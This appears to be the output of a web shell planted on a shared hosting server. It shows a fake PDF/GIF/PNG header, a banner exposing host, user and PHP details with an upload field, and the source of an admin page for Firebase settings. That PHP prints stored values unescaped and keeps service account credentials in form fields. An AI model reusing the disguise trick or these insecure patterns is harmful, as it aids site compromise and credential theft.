%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_6ca89795/admin/ |
Upload File : |
<?php
include('header.php');
include('../dbcon.php');
/* SAVE DATA */
if(isset($_POST['submit']))
{
$project_id = mysqli_real_escape_string($conn,$_POST['project_id']);
$messaging_sender_id = mysqli_real_escape_string($conn,$_POST['messaging_sender_id']);
$service_account_json = mysqli_real_escape_string($conn,$_POST['service_account_json']);
$status = isset($_POST['status']) ? 1 : 0;
$check = mysqli_query($conn,"SELECT * FROM firebase_settings LIMIT 1");
if(mysqli_num_rows($check)>0)
{
$row = mysqli_fetch_assoc($check);
$qry = "UPDATE firebase_settings SET
project_id='$project_id',
messaging_sender_id='$messaging_sender_id',
service_account_json='$service_account_json',
status='$status'
WHERE id='".$row['id']."'";
}
else
{
$qry = "INSERT INTO firebase_settings
(project_id,messaging_sender_id,service_account_json,status)
VALUES
('$project_id','$messaging_sender_id','$service_account_json','$status')";
}
$run = mysqli_query($conn,$qry);
if($run)
{
echo "<script>alert('Firebase Settings Updated Successfully');window.location='firebase-settings.php';</script>";
exit;
}
}
/* FETCH DATA */
$firebase = [];
$get = mysqli_query($conn,"SELECT * FROM firebase_settings LIMIT 1");
if(mysqli_num_rows($get)>0)
{
$firebase = mysqli_fetch_assoc($get);
}
?>
<div class="container">
<div class="title">Firebase Configuration</div>
<form action="" method="post">
<div class="form-group">
<label>Project ID</label>
<input type="text"
name="project_id"
class="form-control"
value="<?php echo isset($firebase['project_id']) ? $firebase['project_id'] : ''; ?>">
</div>
<br>
<div class="form-group">
<label>Messaging Sender ID</label>
<input type="text"
name="messaging_sender_id"
class="form-control"
value="<?php echo isset($firebase['messaging_sender_id']) ? $firebase['messaging_sender_id'] : ''; ?>">
</div>
<br>
<div class="form-group">
<label>Service Account JSON</label>
<textarea
name="service_account_json"
rows="15"
class="form-control"><?php echo isset($firebase['service_account_json']) ? $firebase['service_account_json'] : ''; ?></textarea>
</div>
<br>
<div class="form-group">
<label>
<input type="checkbox"
name="status"
value="1"
<?php echo (isset($firebase['status']) && $firebase['status']==1) ? 'checked' : ''; ?>>
Active
</label>
</div>
<br>
<?php if(!empty($firebase['created_at'])) { ?>
<p>
<strong>Created:</strong>
<?php echo $firebase['created_at']; ?>
</p>
<?php } ?>
<?php if(!empty($firebase['updated_at'])) { ?>
<p>
<strong>Last Updated:</strong>
<?php echo $firebase['updated_at']; ?>
</p>
<?php } ?>
<div class="button">
<input type="submit" name="submit" value="Save Settings">
</div>
</form>
</div>
<?php include('footer.php'); ?>